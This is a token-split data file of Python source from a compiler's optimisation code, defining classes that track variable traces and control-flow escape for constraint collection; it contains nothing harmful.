"\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "get", "Varia", "ble", "Curr", "ent", "Trace_", "(_", "variable_", ")_", "._", "dump_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "Trac", "ing_", "._", "print", "Separator_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Collecti", "on", "Start", "point", "Mixin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "init", "Varia", "ble", "Unknown_", "(_", "self_", ",_", "variable_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "trace_", "=_", "Varia", "ble", "Trace", "Unknown_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "owner_", "=_", "self_", "._", "owner_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "variable_", "=_", "variable_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "previous_", "=_", "None_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "add", "Varia", "ble", "Trace_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "variable_", "=_", "variable_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "trace_", "=_", "trace_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "trace_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Collecti", "on", "Start", "point", "Mixin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "init", "Varia", "ble", "Init_", "(_", "self_", ",_", "variable_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "trace_", "=_", "Varia", "ble", "Trace", "Init_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "owner_", "=_", "self_", "._", "owner_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "variable_", "=_", "variable_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "0_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "add", "Varia", "ble", "Trace_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "variable_", "=_", "variable_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "trace_", "=_", "trace_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "trace_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Collecti", "on", "Start", "point", "Mixin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "init", "Varia", "ble", "Unin", "it_", "(_", "self_", ",_", "variable_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "trace_", "=_", "Varia", "ble", "Trace", "Unin", "it_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "owner_", "=_", "self_", "._", "owner_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "variable_", "=_", "variable_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "previous_", "=_", "None_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "add", "Varia", "ble", "Trace_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "variable_", "=_", "variable_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "trace_", "=_", "trace_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "trace_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Collecti", "on", "Start", "point", "Mixin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "update", "Fro", "m", "Collection_", "(_", "self_", ",_", "old", "\\u", "collection_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Varia", "ble", "Registry_", "._", "update", "Fro", "m", "Collection_", "(_", "old", "\\u", "collection_", ",_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Collecti", "on", "Start", "point", "Mixin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "contextlib_", "._", "contextmanager_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "make", "Abo", "rt", "Stack", "Context_", "(_", "self_", ",_", "catch", "\\u", "breaks_", ",_", "catch", "\\u", "continue", "s_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "catch", "\\u", "returns_", ",_", "catch", "\\u", "exceptions_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "catch", "\\u", "breaks_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "old", "\\u", "break", "\\u", "collections_", "=_", "self_", "._", "break", "\\u", "collections_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "break", "\\u", "collections_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "catch", "\\u", "continue", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "old", "\\u", "continue", "\\u", "collections_", "=_", "self_", "._", "continue", "\\u", "collections_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "continue", "\\u", "collections_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "catch", "\\u", "returns_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "old", "\\u", "return", "\\u", "collections_", "=_", "self_", "._", "return", "\\u", "collections_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "return", "\\u", "collections_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "catch", "\\u", "exceptions_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "old", "\\u", "exception", "\\u", "collections_", "=_", "self_", "._", "exception", "\\u", "collections_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "exception", "\\u", "collections_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "yield_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "catch", "\\u", "breaks_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "break", "\\u", "collections_", "=_", "old", "\\u", "break", "\\u", "collections_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "catch", "\\u", "continue", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "continue", "\\u", "collections_", "=_", "old", "\\u", "continue", "\\u", "collections_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "catch", "\\u", "returns_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "return", "\\u", "collections_", "=_", "old", "\\u", "return", "\\u", "collections_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "catch", "\\u", "exceptions_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "exception", "\\u", "collections_", "=_", "old", "\\u", "exception", "\\u", "collections_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Constr", "aint", "Collecti", "on", "Base_", "(_", "Collecti", "on", "Trac", "ing", "Mixin_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Constr", "aint", "Collecti", "on", "Base_", "(_", "Collecti", "on", "Trac", "ing", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "owner_", ",_", "name_", ",_", "parent_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Collecti", "on", "Trac", "ing", "Mixin_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "owner_", "=_", "owner_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "parent_", "=_", "parent_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "name_", "=_", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Trust", " ", "variab", "le", "\\u", "trace", "s", ",", " ", "shou", "ld", " ", "go", " ", "awa", "y", " ", "late", "r", " ", "on", ",", " ", "for", " ", "now", " ", "we", " ", "use", " ", "it", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "disable", " ", "optimization", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "remove", "s", "\\u", "knowledge", "_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Constr", "aint", "Collecti", "on", "Base_", "(_", "Collecti", "on", "Trac", "ing", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "repr\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\"<", "%", "s", " ", "for", " ", "%", "s", " ", "%", "d", ">\"_", "%_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u\\u", "class\\u\\u_", "._", "\\u\\u", "name\\u\\u_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "id_", "(_", "self_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Constr", "aint", "Collecti", "on", "Base_", "(_", "Collecti", "on", "Trac", "ing", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "signal", "Change_", "(_", "tags_", ",_", "source", "\\u", "ref_", ",_", "message_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "monkey", " ", "patche", "d", " ", "from", " ", "anot", "her", " ", "module", ",", " ", "pylint", ":", " ", "disable", "=", "E1", "102_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "signal", "Change_", "(_", "tags_", ",_", "source", "\\u", "ref_", ",_", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Constr", "aint", "Collecti", "on", "Base_", "(_", "Collecti", "on", "Trac", "ing", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "on", "Us", "ed", "Module_", "(_", "self_", ",_", "module_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "parent_", "._", "on", "Us", "ed", "Module_", "(_", "module_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Constr", "aint", "Collecti", "on", "Base_", "(_", "Collecti", "on", "Trac", "ing", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "must", "Alias_", "(_", "a_", ",_", "b_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "a_", "._", "is", "Expression", "Varia", "ble", "Ref_", "(_", ")_", "and_", "b_", "._", "is", "Expression", "Varia", "ble", "Ref_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "a_", "._", "get", "Variable_", "(_", ")_", "is_", "b_", "._", "get", "Variable_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Constr", "aint", "Collecti", "on", "Base_", "(_", "Collecti", "on", "Trac", "ing", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "must", "Not", "Alias_", "(_", "a_", ",_", "b_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "TOD", "O", ":", " ", "not", " ", "ye", "t", " ", "reall", "y", " ", "implemented", ",", " ", "pylint", ":", " ", "disable", "=", "W", "061", "3_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Constr", "aint", "Collecti", "on", "Base_", "(_", "Collecti", "on", "Trac", "ing", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "remove", "Knowledge", "_", "(_", "self_", ",_", "node_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Constr", "aint", "Collecti", "on", "Base_", "(_", "Collecti", "on", "Trac", "ing", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "on", "Control", "Flow", "Escape_", "(_", "self_", ",_", "node_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "TOD", "O", ":", " ", "One", " ", "day", ",", " ", "we", " ", "shou", "ld", " ", "trace", " ", "whi", "ch", " ", "nodes", " ", "exact", "ly", " ", "caus", "e", " ", "a", " ", "variable_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "be", " ", "consider", "ed", " ", "escaped", ",", " ", "pylint", ":", " ", "disable", "=", "W", "061", "3_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "variable_", "in_", "self_", "._", "get", "Activ", "e", "Variables_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "variable_", "._", "is", "Modul", "e", "Variable_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "print", " ", "variable_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "mark", "Activ", "e", "Varia", "ble", "As", "Unknown_", "(_", "variable_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "python", "\\u", "version_", ">=_", "300_", "or_", "variable_", "._", "is", "Share", "d", "Techni", "call", "y_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "print", " ", "variable_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "TOD", "O", ":", " ", "Cou", "ld", " ", "be", " ", "limited", " ", "to", " ", "shared", " ", "variab", "les", " ", "tha", "t", " ", "are", " ", "actual", "ly_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "writt", "en", " ", "to", ".", " ", "Mos", "t", " ", "of", " ", "the", " ", "time", ",", " ", "tha", "t", " ", "won", "'", "t", " ", "be", " ", "the", " ", "case", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "mark", "Activ", "e", "Varia", "ble", "As", "Unknown_", "(_", "variable_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Constr", "aint", "Collecti", "on", "Base_", "(_", "Collecti", "on", "Trac", "ing", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "remove", "All", "Knowledge", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Tempora", "ry", ",", " ", "we", " ", "don", "'", "t", " ", "have", " ", "to", " ", "have", " ", "this", " ", "anyway", ",", " ", "this", " ", "will", " ", "just", " ", "disable_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "all", " ", "use", "s", " ", "of", " ", "variab", "le", " ", "trace", "s", " ", "for", " ", "optimization", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "remove", "s", "\\u", "knowledge", "_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "mark", "Activ", "e", "Varia", "bles", "As", "Unknown_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Constr", "aint", "Collecti", "on", "Base_", "(_", "Collecti", "on", "Trac", "ing", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Varia", "ble", "Trace_", "(_", "self_", ",_", "variable_", ",_", "version_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "parent_", "._", "get", "Varia", "ble", "Trace_", "(_", "variable_", ",_", "version_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Constr", "aint", "Collecti", "on", "Base_", "(_", "Collecti", "on", "Trac", "ing", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "has", "Varia", "ble", "Trace_", "(_", "self_", ",_", "variable_", ",_", "version_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "parent_", "._", "has", "Varia", "ble", "Trace_", "(_", "variable_", ",_", "version_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Constr", "aint", "Collecti", "on", "Base_", "(_", "Collecti", "on", "Trac", "ing", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "Varia", "ble", "Trace_", "(_", "self_", ",_", "variable_", ",_", "version_", ",_", "trace_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "parent_", "._", "add", "Varia", "ble", "Trace_", "(_", "variable_", ",_", "version_", ",_", "trace_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Constr", "aint", "Collecti", "on", "Base_", "(_", "Collecti", "on", "Trac", "ing", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "Varia", "ble", "Merge", "Multipl", "e", "Trace_", "(_", "self_", ",_", "variable_", ",_", "traces_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "parent_", "._", "add", "Varia", "ble", "Merge", "Multipl", "e", "Trace_", "(_", "variable_", ",_", "traces_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Constr", "aint", "Collecti", "on", "Base_", "(_", "Collecti", "on", "Trac", "ing", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "on", "Varia", "ble", "Set_", "(_", "self_", ",_", "assign", "\\u", "node_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "variab", "le", "\\u", "ref_", "=_", "assign", "\\u", "node_", "._", "get", "Target", "Varia", "ble", "Ref_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "variab", "le", "\\u", "ref_", "._", "get", "Varia", "ble", "Version_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "variable_", "=_", "variab", "le", "\\u", "ref_", "._", "get", "Variable_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "variab", "le", "\\u", "trace_", "=_", "Varia", "ble", "Trace", "Assign_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "owner_", "=_", "self_", "._", "owner_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "assign", "\\u", "node_", "=_", "assign", "\\u", "node_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "variable_", "=_", "variable_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "version_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "previous_", "=_", "self_", "._", "get", "Varia", "ble", "Curr", "ent", "Trace_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "variable_", "=_", "variable_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "add", "Varia", "ble", "Trace_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "variable_", "=_", "variable_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "version_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "trace_", "=_", "variab", "le", "\\u", "trace_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Make", " ", "reference", "s", " ", "point", " ", "to", " ", "it", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "mark", "Curr", "ent", "Varia", "ble", "Trace_", "(_", "variable_", ",_", "version_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 